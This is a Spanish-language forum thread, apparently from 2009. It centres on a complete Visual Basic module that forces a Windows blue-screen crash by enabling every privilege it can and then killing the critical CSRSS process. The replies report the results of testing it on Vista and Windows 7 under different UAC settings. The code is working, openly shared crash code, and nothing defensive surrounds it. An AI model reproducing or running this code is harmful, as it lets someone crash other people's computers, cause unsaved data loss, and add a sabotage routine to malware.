'---------------------------------------------------------------------------------------
' Module : mBSOD
' Author : Karcrack
' Now$ : 16/07/2009 18:08
' Used for? : Make a BSOD on W$
' Tested On : W. XP ... W. Vista (Thanks Kiash)... W. Seven (Thanks SkyWeb/Dessa)
'---------------------------------------------------------------------------------------
Option Explicit
'NTDLL
Private Declare Function CsrGetProcessId Lib "ntdll.dll" () As Long
Private Declare Function RtlAdjustPrivilege Lib "ntdll.dll" (ByVal Privilege As Long, ByVal Enable As Long, ByVal Client As Long, WasEnabled As Long) As Long
'KERNEL32
Private Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function TerminateProcess Lib "kernel32.dll" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Public Sub CrashWindows()
Dim hProc As Long
Call GetAllPrivilegies
hProc = OpenProcess(&H1F0FFF, 0&, CsrGetProcessId) ' &H1F0FFF = PROCESS_ALL_ACCESS
Call TerminateProcess(hProc, 0&)
End Sub
Private Sub GetAllPrivilegies()
Dim i As Long
For i = 0 To 200: Call RtlAdjustPrivilege(ByVal i&, 1, 0, 0): Next i
End Sub
Si alguien puede que lo pruebe en Windows Vista o Windows 7...
Gracias por probarlo, Kiash, SkyWeb, Dessa
En W7 como Adm. con el UAC predeterminado o alto iignora la instruccion, con el UAC desactivado si se clava el windows pero al reiniciar se inicia normalmente
S2
Cita de: Dessa en 17 Julio 2009, 14:34 PM
En W7 como Adm. con el UAC predeterminado o alto iignora la instruccion, con el UAC desactivado si se clava el windows pero al reiniciar se inicia normalmente
S2
SkyWeb dice que funciona bien en Win. 7... Sera cosa de su UAC...
Bueno, este codigo no se carga el W$, simplemente fuerza su apagado mostrando un feo
BSOD (http://es.wikipedia.org/wiki/Pantalla_azul_de_la_muerte)
Funciona bien como admin, con la UAC activada.
Lo probé nuevamente, activé el UAC (a nivel predeterminado), luego reinicié windows y ejecuté el code sin ninguna respuesta (tampoco ningun error). Luego volví a desactivar el UAC y reiniciar windows, en este caso sí funcionó (con el UAC dasactivado)
Probé con Windows Seven RC 7100 con todas las actualizaciones al dia
S2
Jeje.. vi un code parecido de xcryptor,pero este ademàs de darle privilegio de Semi-Dios al proceso,tambien intenta terminarlo y produce una bonita pantalla azul,muy bueno :)